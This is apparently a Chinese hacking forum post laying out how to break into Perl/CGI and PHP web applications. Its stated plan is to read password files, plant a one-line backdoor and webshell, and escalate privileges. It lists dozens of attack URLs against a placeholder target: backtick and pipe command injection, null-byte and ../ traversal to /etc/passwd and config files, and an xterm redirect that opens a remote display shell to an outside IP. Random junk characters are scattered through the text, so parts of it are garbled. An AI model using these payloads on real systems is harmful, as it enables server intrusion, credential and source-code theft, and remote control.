总体思路,跳过限制,查看敏感文件和密码相关文件。写入一句话cgi,进后台试传webshell(后台如果加验证或者MD5过的时候,可以试着 0 J8 Z( C. L. A9 Y/ y$ a7 z& b
cookies欺骗,本地提交),寻找可执行的目录和相关函数,拿shell…………》提权 4 r! V6 L& S3 R! ~8 x8 V# z( k
感谢EMM和ps的睿智和他们高超的脚本技术,还有以前老红4的脚本群英和国外的那些牛淫们
: S5 r1 x: m# Y6 {注“ ) l) ]9 f4 H, t4 J3 l
perl脚本的漏洞大多出在open()、system()或者 ’’调用中。前者允许读写和执行,而后两个允许执行。
* x+ I9 s) L( z- P c1 _1 t9 w4 x以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET
. y3 L. G! B3 m. L V
% b% c4 h( T) Ihttp://target.com/cgi-bin/home/news/sub.pl?12 随意构造 3 I: K6 H$ z1 v* W
http://target.com/cgi-bin/home/news/sub.pl?& 换个字符,也许可以执行呢
7 ?. J7 I/ o" Zhttp://target.com/cgi-bin/home/news/sub.pl?`ls` 单引号
8 G% F. G0 A0 Uhttp://target.com/cgi-bin/home/news/sub.pl?`id`
* ^+ F% n, W; o' u$ x: Jhttp://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a`
- a# M, B% ?. W9 G) V$ s7 Zhttp://target.com/cgi-bin/home/news/sub.pl?`cat<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示
# j }" R( f1 f) ]3 ]6 N, R
* {/ c1 g2 ]5 ?: b: F% X1 v" qhttp://target.com/test.pl;ls|
1 M$ u) ^( x" I$ chttp://target.com/index.cgi?page=|ls+-la+/%0aid%0awhich+xterm|
) D4 B* k1 n6 t3 O/ _7 z5 f/ ghttp://target.com/index.cgi?page=|xterm+-isplay+10.0.1.21:0.0+%26|
. E9 C2 T+ K; f% N2 o+ R: V2 Ahttp://target.com/test.pl?’id’ 类似’’内的操作和命令执行自己构造
! I8 Q. F- e6 Y6 ^2 O5 u比如:cat<’/home1/siteadm/cgi-bin/home/news/test.pl’` 把pl代码显示出来。
z6 C/ I4 Q6 b/ phttp://target.com/index.cgi?page=;dir+c:\|&cid=03417 类似asp的Sql injection " I6 Q, d# b b6 p8 l
* m4 b! P7 I$ y
http://target.com/test.pl?&........ /../../etc/passwd ' s; j& E, \' z$ P, |
! A4 z3 f6 Y4 j. X! _: ~( ihttp://www.target.org/cgi-bin/cl ... info.pl?user=./test 前面加./ 8 p1 i S- m& r# p2 S1 t R
http://www.target.org/cgi-bin/cl ... nfo.pl?user=test%00 注意后面的 %00 别弄丢了
: W* b$ r( ]$ J: S; I( Mhttp://www.target.org/cgi-bin/cl ... ../../etc/passwd%00 3 n7 Y0 L: B# M4 o
* N6 g% j3 {8 T% U( e9 c' b9 c" mhttp://www.target.org/show.php?f ... /include/config.php 查看php代码 9 ]' C0 Z/ }' W+ F
http://www.target.org/show.php?f ... ng/admin/global.php
$ ^1 `- J1 A$ b. H
% r6 }1 W; k" S5 X2 Temm和ps的一句话
6 s, @, V7 a- @ s9 \
" W, j" w+ ?' }http://www.target.org/cgi-bin/cl ... /../../../bin/ls%20
5 e4 k1 l% F8 i& Z4 `: i+ W
& u# `7 V0 q5 n) v5 H9 E& b4 K7 ?>bbb%20| 9 s( u7 q/ S3 ]2 p
4 u9 b4 b2 w* B# A
http://www.target.org/cgi-bin/club/scripts\’less showpost.pl\’ 并且寻找(用\’/\’)\’Select\’ 字符串
/ k) }- s o- g4 b8 G# E. }; A6 J+ g3 b' O+ h6 }* D
http://www.target.org/cgi-bin/cl ... bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征 ' H H0 I) v7 w- ^3 k! x# O1 e
http://www.target.org/csapi/..%c0%afhttp/china.sh”+.elf?”+&+ls+/bin - B b l" F- L- H: ]
$ i( l* p4 k M: l9 N0 l3 T# s相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法
; e' F2 p2 n4 O( j; c. ^' q. ihttp://target.com/index.html#cmd.exe - n6 f/ V) u5 q: y2 e- Z2 o
http://target.com/index.html?dummyparam=xp_cmdshell , z* m4 n) |1 ?& h
lynx http://target.com/cgi-bin/htmlscript?../../../../etc/passwd
# k" R9 h8 t N* T |